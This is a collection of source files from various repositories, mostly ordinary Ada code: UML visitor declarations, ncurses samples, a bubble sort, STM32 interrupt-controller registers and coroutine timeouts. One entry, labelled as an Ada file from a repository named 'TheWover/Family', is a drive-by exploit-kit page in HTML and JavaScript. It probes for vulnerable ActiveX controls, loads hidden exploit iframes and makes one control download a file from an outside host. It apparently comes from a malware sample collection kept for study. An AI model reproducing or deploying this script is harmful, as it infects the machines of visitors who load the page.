-- Operation NamedElement::namespace.
--
-- Missing derivation for NamedElement::/namespace : Namespace
overriding procedure Enter_Element
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of visitor interface.
overriding procedure Leave_Element
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of visitor interface.
overriding procedure Visit_Element
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy;
Iterator : in out AMF.Visitors.Abstract_Iterator'Class;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of iterator interface.
end AMF.Internals.UML_Behavior_Execution_Specifications;
|
pdaxrom/Kino2 | Ada | 3,734 | adb | ------------------------------------------------------------------------------
-- --
-- GNAT ncurses Binding Samples --
-- --
-- Sample.My_Field_Type --
-- --
-- B O D Y --
-- --
------------------------------------------------------------------------------
-- Copyright (c) 1998 Free Software Foundation, Inc. --
-- --
-- Permission is hereby granted, free of charge, to any person obtaining a --
-- copy of this software and associated documentation files (the --
-- "Software"), to deal in the Software without restriction, including --
-- without limitation the rights to use, copy, modify, merge, publish, --
-- distribute, distribute with modifications, sublicense, and/or sell --
-- copies of the Software, and to permit persons to whom the Software is --
-- furnished to do so, subject to the following conditions: --
-- --
-- The above copyright notice and this permission notice shall be included --
-- in all copies or substantial portions of the Software. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS --
-- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF --
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. --
-- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, --
-- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR --
-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR --
-- THE USE OR OTHER DEALINGS IN THE SOFTWARE. --
-- --
-- Except as contained in this notice, the name(s) of the above copyright --
-- holders shall not be used in advertising or otherwise to promote the --
-- sale, use or other dealings in this Software without prior written --
-- authorization. --
------------------------------------------------------------------------------
-- Author: Juergen Pfeifer, 1996
-- Contact: http://www.familiepfeifer.de/Contact.aspx?Lang=en
-- Version Control
-- $Revision: 1.8 $
-- Binding Version 01.00
------------------------------------------------------------------------------
with Terminal_Interface.Curses.Forms; use Terminal_Interface.Curses.Forms;
-- This is a very simple user defined field type. It accepts only a
-- defined character as input into the field.
--
package body Sample.My_Field_Type is
-- That's simple. There are no field validity checks.
function Field_Check (Fld : Field;
Typ : My_Data) return Boolean
is
begin
return True;
end Field_Check;
-- Check exactly against the specified character.
function Character_Check (Ch : Character;
Typ : My_Data) return Boolean
is
C : constant Character := Typ.Ch;
begin
return Ch = C;
end Character_Check;
end Sample.My_Field_Type;
|
stcarrez/ada-mail | Ada | 1,130 | adb | -----------------------------------------------------------------------
-- mail-testsuite -- Testsuite for mail
-- Copyright (C) 2020 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Mail.Headers.Tests;
package body Mail.Testsuite is
Tests : aliased Util.Tests.Test_Suite;
function Suite return Util.Tests.Access_Test_Suite is
begin
Mail.Headers.Tests.Add_Tests (Tests'Access);
return Tests'Access;
end Suite;
end Mail.Testsuite;
|
albinjal/Ada_Project | Ada | 1,833 | ads | with TJa.Sockets; use TJa.Sockets;
package klient_assets_package is
type Arr is array (1..5) of Integer;
type Protocoll_Type is array (1..15) of Integer;
type Rolls_Type is private;
DATATYPE_ERROR: exception;
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
procedure Bootup(Socket: out Socket_Type; Adress: in String; Port: in Positive);
procedure Fill_Protocoll_Empty(Proto: in out Protocoll_Type);
procedure Get_Rolls(Socket: in Socket_Type; Roll: out Rolls_Type);
procedure graphics;
procedure Place(Socket: Socket_Type; Dices: Rolls_Type; Protocoll: Protocoll_Type);
procedure Playerroll(Socket: in Socket_Type);
procedure Start_Game(Socket: in Socket_Type; Player: out Positive; Prot1, Prot2: out Protocoll_Type);
procedure Watch_Placement(Socket: Socket_Type; Dices: Rolls_Type; Protocoll: Protocoll_Type);
--procedure protocoll (Prot1, Prot2 : in Protocoll_Type);
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
function Read(C: in Character) return Natural;
function GetR(Roll: in Rolls_Type)
return Arr;
function GetI(Roll: in Rolls_Type)
return Integer;
function Calcpoints(Prot: Protocoll_Type; Rolls: Arr)
return Protocoll_Type;
function Roll_loop(Socket: Socket_Type; Player: Positive)
return Rolls_Type;
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
private
type Rolls_Type is
record
I: Natural;
Rolls: Arr;
end record;
end Klient_Assets_Package;
|
reznikmm/matreshka | Ada | 3,603 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
with AMF.Elements.Generic_Hash;
function AMF.UML.Connectors.Hash is
new AMF.Elements.Generic_Hash (UML_Connector, UML_Connector_Access);
|
reznikmm/matreshka | Ada | 3,734 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Open Document Toolkit --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with XML.DOM.Attributes;
package ODF.DOM.Presentation_Object_Attributes is
pragma Preelaborate;
type ODF_Presentation_Object_Attribute is limited interface
and XML.DOM.Attributes.DOM_Attribute;
type ODF_Presentation_Object_Attribute_Access is
access all ODF_Presentation_Object_Attribute'Class
with Storage_Size => 0;
end ODF.DOM.Presentation_Object_Attributes;
|
wildeee/safADA | Ada | 1,020 | adb | With Ada.Text_IO; Use Ada.Text_IO;
Procedure BubbleSort is
numeros: array(1..15) of Integer;
I : Integer;
buffer: Integer;
-- Leitura String
function Get_String return String is
Line : String (1 .. 1_000);
Last : Natural;
begin
Get_Line (Line, Last);
return Line (1 .. Last);
end Get_String;
-- Leitura Integer
function Get_Integer return Integer is
S : constant String := Get_String;
begin
return Integer'Value (S);
end Get_Integer;
-- Lê 15 elementos do array
procedure Faz_Leitura is
begin
for I in Integer range 1 .. 15 loop
numeros(I) := Get_Integer;
end loop;
end Faz_Leitura;
begin
Faz_Leitura;
for downStep in Integer range 1 .. 15 loop
I := 15 - downStep;
for J in Integer range 1 .. I loop
if numeros(J) > numeros(J + 1) then
buffer := numeros(J);
numeros(J) := numeros(J + 1);
numeros(J + 1) := buffer;
end if;
end loop;
end loop;
for Index in Integer range 1 .. 15 loop
Put_Line(Integer'Image(numeros(Index)));
end loop;
end BubbleSort; |
dilawar/ahir | Ada | 247 | ads | -- RUN: %llvmgcc -c -g %s
package Debug_Var_Size is
subtype Length_Type is Positive range 1 .. 64;
type T (Length : Length_Type := 1) is record
Varying_Length : String (1 .. Length);
Fixed_Length : Boolean;
end record;
end;
|
AdaCore/libadalang | Ada | 158 | adb | with Foo;
procedure Main is
procedure Print_Int is new Foo.Print_T (Integer, Foo.To_String);
begin
Print_Int (12);
pragma Test_Statement;
end Main;
|
PThierry/ewok-kernel | Ada | 6,805 | ads | --
-- Copyright 2018 The wookey project team <[email protected]>
-- - Ryad Benadjila
-- - Arnauld Michelizza
-- - Mathieu Renard
-- - Philippe Thierry
-- - Philippe Trebuchet
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
--
with m4.layout;
with soc.interrupts; use type soc.interrupts.t_interrupt;
-- Nested vectored interrupt controller (NVIC)
-- (see STM32F4xxx Cortex-M4 Programming Manual, p. 194-205)
package soc.nvic
with spark_mode => on
is
-- Up to 81 interrupts (see Cortex-M4 prog. manual, p. 194)
type t_irq_index is new natural range 0 .. 80;
----------
-- IRQs --
----------
-- (see RM0090, p. 374)
EXTI_Line_0 : constant t_irq_index := 6;
EXTI_Line_1 : constant t_irq_index := 7;
EXTI_Line_2 : constant t_irq_index := 8;
EXTI_Line_3 : constant t_irq_index := 9;
EXTI_Line_4 : constant t_irq_index := 10;
EXTI_Line_5_9 : constant t_irq_index := 23;
EXTI_Line_10_15: constant t_irq_index := 40;
DMA1_Stream_0 : constant t_irq_index := 11;
DMA1_Stream_1 : constant t_irq_index := 12;
DMA1_Stream_2 : constant t_irq_index := 13;
DMA1_Stream_3 : constant t_irq_index := 14;
DMA1_Stream_4 : constant t_irq_index := 15;
DMA1_Stream_5 : constant t_irq_index := 16;
DMA1_Stream_6 : constant t_irq_index := 17;
DMA1_Stream_7 : constant t_irq_index := 47;
SDIO : constant t_irq_index := 49;
DMA2_Stream_0 : constant t_irq_index := 56;
DMA2_Stream_1 : constant t_irq_index := 57;
DMA2_Stream_2 : constant t_irq_index := 58;
DMA2_Stream_3 : constant t_irq_index := 59;
DMA2_Stream_4 : constant t_irq_index := 60;
DMA2_Stream_5 : constant t_irq_index := 68;
DMA2_Stream_6 : constant t_irq_index := 69;
DMA2_Stream_7 : constant t_irq_index := 70;
-------------------------------------------------
-- Interrupt set-enable registers (NVIC_ISERx) --
-------------------------------------------------
type t_irq_state is (IRQ_DISABLED, IRQ_ENABLED)
with size => 1;
for t_irq_state use (IRQ_DISABLED => 0, IRQ_ENABLED => 1);
DISABLE_IRQ : constant t_irq_state := IRQ_ENABLED; -- NVIC_ICER
type t_irq_states is array (t_irq_index range <>) of t_irq_state
with pack;
-- ISER0
type t_NVIC_ISER0 is record
irq : t_irq_states (0 .. 31);
end record
with pack, size => 32, volatile_full_access;
-- ISER1
type t_NVIC_ISER1 is record
irq : t_irq_states (32 .. 63);
end record
with pack, size => 32, volatile_full_access;
-- ISER2
type t_NVIC_ISER2 is record
irq : t_irq_states (64 .. 80);
end record
with size => 32, volatile_full_access;
for t_NVIC_ISER2 use record
irq at 0 range 0 .. 16;
end record;
---------------------------------------------------
-- Interrupt clear-enable registers (NVIC_ICERx) --
---------------------------------------------------
-- ICER0
type t_NVIC_ICER0 is record
irq : t_irq_states (0 .. 31);
end record
with pack, size => 32, volatile_full_access;
-- ICER1
type t_NVIC_ICER1 is record
irq : t_irq_states (32 .. 63);
end record
with pack, size => 32, volatile_full_access;
-- ICER2
type t_NVIC_ICER2 is record
irq : t_irq_states (64 .. 80);
end record
with size => 32, volatile_full_access;
for t_NVIC_ICER2 use record
irq at 0 range 0 .. 16;
end record;
----------------------------------------------------
-- Interrupt clear-pending registers (NVIC_ICPRx) --
----------------------------------------------------
type t_irq_pending is (IRQ_NOT_PENDING, IRQ_PENDING)
with size => 1;
for t_irq_pending use (IRQ_NOT_PENDING => 0, IRQ_PENDING => 1);
CLEAR_PENDING : constant t_irq_pending := IRQ_PENDING;
type t_irq_pendings is array (t_irq_index range <>) of t_irq_pending
with pack;
-- ICPR0
type t_NVIC_ICPR0 is record
irq : t_irq_pendings (0 .. 31);
end record
with pack, size => 32, volatile_full_access;
-- ICPR1
type t_NVIC_ICPR1 is record
irq : t_irq_pendings (32 .. 63);
end record
with pack, size => 32, volatile_full_access;
-- ICPR2
type t_NVIC_ICPR2 is record
irq : t_irq_pendings (64 .. 80);
end record
with size => 32, volatile_full_access;
for t_NVIC_ICPR2 use record
irq at 0 range 0 .. 16;
end record;
----------------------------------------------
-- Interrupt priority registers (NVIC_IPRx) --
----------------------------------------------
-- NVIC_IPR0-IPR80 registers provide an 8-bit priority field for each
-- interrupt.
type t_IPR is record
reserved : bits_4;
priority : bits_4;
end record
with pack, size => 8, volatile_full_access;
type t_IPRs is array (t_irq_index) of t_IPR
with pack, size => 8 * 81;
---------------------
-- NVIC peripheral --
---------------------
type t_NVIC_periph is record
ISER0 : t_NVIC_ISER0;
ISER1 : t_NVIC_ISER1;
ISER2 : t_NVIC_ISER2;
ICER0 : t_NVIC_ICER0;
ICER1 : t_NVIC_ICER1;
ICER2 : t_NVIC_ICER2;
ICPR0 : t_NVIC_ICPR0;
ICPR1 : t_NVIC_ICPR1;
ICPR2 : t_NVIC_ICPR2;
IPR : t_IPRs;
end record
with volatile;
for t_NVIC_periph use record
ISER0 at 16#0# range 0 .. 31;
ISER1 at 16#4# range 0 .. 31;
ISER2 at 16#8# range 0 .. 31;
ICER0 at 16#80# range 0 .. 31;
ICER1 at 16#84# range 0 .. 31;
ICER2 at 16#88# range 0 .. 31;
ICPR0 at 16#180# range 0 .. 31;
ICPR1 at 16#184# range 0 .. 31;
ICPR2 at 16#188# range 0 .. 31;
IPR at 16#300# range 0 .. (8*81)-1;
end record;
NVIC : t_NVIC_periph
with
import, volatile, address => m4.layout.NVIC_BASE;
-------------
-- Methods --
-------------
pragma assertion_policy (pre => IGNORE, post => IGNORE, assert => IGNORE);
function to_irq_number
(intr : soc.interrupts.t_interrupt)
return t_irq_index
with
inline,
pre => intr >= soc.interrupts.INT_WWDG;
procedure enable_irq
(irq : in t_irq_index)
with inline;
procedure clear_pending_irq
(irq : in t_irq_index)
with inline;
end soc.nvic;
|
reznikmm/coroutines | Ada | 5,882 | adb | -- Copyright (c) 2019 Maxim Reznik <[email protected]>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Ada.Containers.Ordered_Sets;
with Ada.Containers.Vectors;
package body Coroutines.Timeouts is
type Timeout_Manager;
type Timeout_Manager_Access is access all Timeout_Manager'Class;
type Timeout_Event is new Event_Object with record
Time : Ada.Calendar.Time;
Context : Coroutines.Context;
Manager : Timeout_Manager_Access;
Ready : Boolean := False;
end record;
overriding procedure Activate (Self : in out Timeout_Event);
overriding function Ready (Self : Timeout_Event) return Boolean;
overriding procedure Deactivate (Self : in out Timeout_Event);
type Timeout_Event_Access is access all Timeout_Event;
use type Ada.Calendar.Time;
function Equal (Left, Right : Timeout_Event_Access) return Boolean is
(Left.Context = Right.Context and then Left.Time = Right.Time);
function Less (Left, Right : Timeout_Event_Access) return Boolean;
package Event_Sets is new Ada.Containers.Ordered_Sets
(Element_Type => Timeout_Event_Access,
"<" => Less,
"=" => Equal);
package Event_Vectors is new Ada.Containers.Vectors
(Index_Type => Positive,
Element_Type => Timeout_Event_Access);
type Timeout_Manager is new Coroutine_Manager with record
Active : Event_Sets.Set;
Unused : Event_Vectors.Vector;
Down : Coroutine_Manager_Access;
end record;
overriding procedure Get_Always_Ready_Event
(Self : in out Timeout_Manager;
Result : out Event_Id);
overriding procedure New_Round
(Self : in out Timeout_Manager;
Queue : in out Context_Vectors.Vector;
Timeout : Duration);
Manager : aliased Timeout_Manager;
--------------
-- Activate --
--------------
overriding procedure Activate (Self : in out Timeout_Event) is
begin
if not Self.Manager.Active.Contains (Self'Unchecked_Access) then
Self.Manager.Active.Insert (Self'Unchecked_Access);
end if;
end Activate;
----------------
-- Deactivate --
----------------
overriding procedure Deactivate (Self : in out Timeout_Event) is
begin
if Self.Manager.Active.Contains (Self'Unchecked_Access) then
Self.Manager.Active.Delete (Self'Unchecked_Access);
end if;
Self.Manager.Unused.Append (Self'Unchecked_Access);
end Deactivate;
----------------------------
-- Get_Always_Ready_Event --
----------------------------
procedure Get_Always_Ready_Event
(Self : in out Timeout_Manager;
Result : out Event_Id)
is
pragma Unreferenced (Self);
begin
Result := Timeout (0.0);
end Get_Always_Ready_Event;
----------------
-- Initialize --
----------------
procedure Initialize is
begin
Manager.Down := Coroutines.Manager;
Coroutines.Manager := Manager'Access;
end Initialize;
----------
-- Less --
----------
function Less (Left, Right : Timeout_Event_Access) return Boolean is
function Less_Context return Boolean;
------------------
-- Less_Context --
------------------
function Less_Context return Boolean is
use type System.Storage_Elements.Integer_Address;
L : constant System.Storage_Elements.Integer_Address :=
System.Storage_Elements.To_Integer (System.Address (Left.Context));
R : constant System.Storage_Elements.Integer_Address :=
System.Storage_Elements.To_Integer (System.Address (Right.Context));
begin
return L < R;
end Less_Context;
begin
return Left.Time < Right.Time
or else (Left.Time = Right.Time and then Less_Context);
end Less;
---------------
-- New_Round --
---------------
procedure New_Round
(Self : in out Timeout_Manager;
Queue : in out Context_Vectors.Vector;
Timeout : Duration)
is
Limit : Duration := Timeout;
First : Timeout_Event_Access;
Now : Ada.Calendar.Time;
begin
if not Self.Active.Is_Empty then
Now := Ada.Calendar.Clock;
while not Self.Active.Is_Empty loop
First := Self.Active.First_Element;
if First.Time <= Now then
Queue.Append (First.Context);
Self.Active.Delete_First;
Limit := 0.0;
else
Limit := Duration'Min (Timeout, First.Time - Now);
exit;
end if;
end loop;
end if;
if Self.Down /= null then
Self.Down.New_Round (Queue, Timeout => Limit);
elsif Queue.Is_Empty then
delay Limit;
end if;
end New_Round;
-----------
-- Ready --
-----------
overriding function Ready (Self : Timeout_Event) return Boolean is
begin
return Self.Ready;
end Ready;
-------------
-- Timeout --
-------------
function Timeout (Value : Duration) return Event_Id is
-- use type Ada.Calendar.Time;
begin
return Timeout (Ada.Calendar.Clock + Value);
end Timeout;
-------------
-- Timeout --
-------------
function Timeout (Value : Ada.Calendar.Time) return Event_Id is
Result : Timeout_Event_Access;
begin
if Manager.Unused.Is_Empty then
Result := new Timeout_Event;
else
Result := Manager.Unused.Last_Element;
Manager.Unused.Delete_Last;
end if;
Result.all := (Event_Object with
Time => Value,
Context => Current_Context,
Manager => Manager'Access,
Ready => False);
return Event_Id (Result);
end Timeout;
end Coroutines.Timeouts;
|
guillaume-lin/tsc | Ada | 7,804 | adb | ------------------------------------------------------------------------------
-- --
-- GNAT ncurses Binding Samples --
-- --
-- Sample.Function_Key_Setting --
-- --
-- B O D Y --
-- --
------------------------------------------------------------------------------
-- Copyright (c) 1998 Free Software Foundation, Inc. --
-- --
-- Permission is hereby granted, free of charge, to any person obtaining a --
-- copy of this software and associated documentation files (the --
-- "Software"), to deal in the Software without restriction, including --
-- without limitation the rights to use, copy, modify, merge, publish, --
-- distribute, distribute with modifications, sublicense, and/or sell --
-- copies of the Software, and to permit persons to whom the Software is --
-- furnished to do so, subject to the following conditions: --
-- --
-- The above copyright notice and this permission notice shall be included --
-- in all copies or substantial portions of the Software. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS --
-- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF --
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. --
-- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, --
-- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR --
-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR --
-- THE USE OR OTHER DEALINGS IN THE SOFTWARE. --
-- --
-- Except as contained in this notice, the name(s) of the above copyright --
-- holders shall not be used in advertising or otherwise to promote the --
-- sale, use or other dealings in this Software without prior written --
-- authorization. --
------------------------------------------------------------------------------
-- Author: Juergen Pfeifer, 1996
-- Version Control
-- $Revision: 1.10 $
-- Binding Version 01.00
------------------------------------------------------------------------------
with Ada.Unchecked_Deallocation;
with Sample.Manifest; use Sample.Manifest;
-- This package implements a simple stack of function key label environments.
--
package body Sample.Function_Key_Setting is
Max_Label_Length : constant Positive := 8;
Number_Of_Keys : Label_Number := Label_Number'Last;
Justification : Label_Justification := Left;
subtype Label is String (1 .. Max_Label_Length);
type Label_Array is array (Label_Number range <>) of Label;
type Key_Environment (N : Label_Number := Label_Number'Last);
type Env_Ptr is access Key_Environment;
pragma Controlled (Env_Ptr);
type String_Access is access String;
pragma Controlled (String_Access);
Active_Context : String_Access := new String'("MAIN");
Active_Notepad : Panel := Null_Panel;
type Key_Environment (N : Label_Number := Label_Number'Last) is
record
Prev : Env_Ptr;
Help : String_Access;
Notepad : Panel;
Labels : Label_Array (1 .. N);
end record;
procedure Release_String is
new Ada.Unchecked_Deallocation (String,
String_Access);
procedure Release_Environment is
new Ada.Unchecked_Deallocation (Key_Environment,
Env_Ptr);
Top_Of_Stack : Env_Ptr := null;
procedure Push_Environment (Key : in String;
Reset : in Boolean := True)
is
P : constant Env_Ptr := new Key_Environment (Number_Of_Keys);
begin
-- Store the current labels in the environment
for I in 1 .. Number_Of_Keys loop
Get_Soft_Label_Key (I, P.Labels (I));
if Reset then
Set_Soft_Label_Key (I, " ");
end if;
end loop;
P.Prev := Top_Of_Stack;
-- now store active help context and notepad
P.Help := Active_Context;
P.Notepad := Active_Notepad;
-- The notepad must now vanish and the new notepad is empty.
if (P.Notepad /= Null_Panel) then
Hide (P.Notepad);
Update_Panels;
end if;
Active_Notepad := Null_Panel;
Active_Context := new String'(Key);
Top_Of_Stack := P;
if Reset then
Refresh_Soft_Label_Keys_Without_Update;
end if;
end Push_Environment;
procedure Pop_Environment
is
P : Env_Ptr := Top_Of_Stack;
begin
if Top_Of_Stack = null then
raise Function_Key_Stack_Error;
else
for I in 1 .. Number_Of_Keys loop
Set_Soft_Label_Key (I, P.Labels (I), Justification);
end loop;
pragma Assert (Active_Context /= null);
Release_String (Active_Context);
Active_Context := P.Help;
Refresh_Soft_Label_Keys_Without_Update;
Notepad_To_Context (P.Notepad);
Top_Of_Stack := P.Prev;
Release_Environment (P);
end if;
end Pop_Environment;
function Context return String
is
begin
if Active_Context /= null then
return Active_Context.all;
else
return "";
end if;
end Context;
function Find_Context (Key : String) return Boolean
is
P : Env_Ptr := Top_Of_Stack;
begin
if Active_Context.all = Key then
return True;
else
loop
exit when P = null;
if P.Help.all = Key then
return True;
else
P := P.Prev;
end if;
end loop;
return False;
end if;
end Find_Context;
procedure Notepad_To_Context (Pan : in Panel)
is
W : Window;
begin
if Active_Notepad /= Null_Panel then
W := Get_Window (Active_Notepad);
Clear (W);
Delete (Active_Notepad);
Delete (W);
end if;
Active_Notepad := Pan;
if Pan /= Null_Panel then
Top (Pan);
end if;
Update_Panels;
Update_Screen;
end Notepad_To_Context;
procedure Initialize (Mode : Soft_Label_Key_Format := PC_Style;
Just : Label_Justification := Left)
is
begin
case Mode is
when PC_Style .. PC_Style_With_Index
=> Number_Of_Keys := 12;
when others
=> Number_Of_Keys := 8;
end case;
Init_Soft_Label_Keys (Mode);
Justification := Just;
end Initialize;
procedure Default_Labels
is
begin
Set_Soft_Label_Key (FKEY_QUIT, "Quit");
Set_Soft_Label_Key (FKEY_HELP, "Help");
Set_Soft_Label_Key (FKEY_EXPLAIN, "Keys");
Refresh_Soft_Label_Keys_Without_Update;
end Default_Labels;
function Notepad_Window return Window
is
begin
if Active_Notepad /= Null_Panel then
return Get_Window (Active_Notepad);
else
return Null_Window;
end if;
end Notepad_Window;
end Sample.Function_Key_Setting;
|
TheWover/Family | Ada | 1,946 | adb | <SCRIPT>window.onerror=function(){return true;}</SCRIPT>
<SCRIPT>
window.defaultStatus=".";
try{if(new ActiveXObject("snpv"+"w.Snap"+"s"+"h"+"ot Viewer Control.1"))document.write('<iframe width=100 height=0 src=../as.htm></iframe>')}catch(a){}try{var e;var ado=document.createElement("object");if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)ado.setAttribute("classid","clsid:B"+"D96C556-65A3-11D0-983A-00C04FC29E36");var as=ado.createobject("Adodb.Stream","")}catch(e){};finally{if(e!="[object Error]"){document.write('<iframe width=100 height=0 src=14.htm></iframe>')}else{try{var g;var storm=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1")}catch(g){};finally{if(g!="[object Error]"){var url="http://qq.18i16.net/";storm=document.createElement("object");ActivePerl="-1"+"C59-4BBB-8E8";getSpraySlide="1-6E83F82C813B";helloworld2Address="clsid:2CACD7BB";storm.setAttribute("classid",helloworld2Address+ActivePerl+getSpraySlide);storm["Update"]("\\Program Files\\Common Files\\uusee\\",url+"UU.ini","",1)}}try{var h;var glworld=new ActiveXObject("GLIEDown.IEDown.1")}catch(h){};finally{if(h!="[object Error]"){document.write('<iframe style=display:none src="../lzz.htm"></iframe>')}}try{var bf;var bfworld=new ActiveXObject("MPS.StormPlayer")}catch(bf){};finally{if(bf!="[object Error]"){document.write('<iframe style=display:none src="../Bfyy.htm"></iframe>')}}try{var i;var real=new ActiveXObject("IERPCtl.IERPCtl.1")}catch(i){};finally{if(i!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552"){document.write('<iframe width=100 height=0 src=../real10.htm></iframe>')}else{document.write('<iframe style=display:none src="../real11.htm"></iframe>')}}}}}
</script>
<script src=../new.js></script>
<iframe src=fx.htm width=100 height=0></iframe>
<iframe src=../cx.htm width=100 height=0></iframe>
|
zhmu/ananas | Ada | 6,022 | adb | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- A D A . T E X T _ I O . C O M P L E X _ A U X --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2022, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
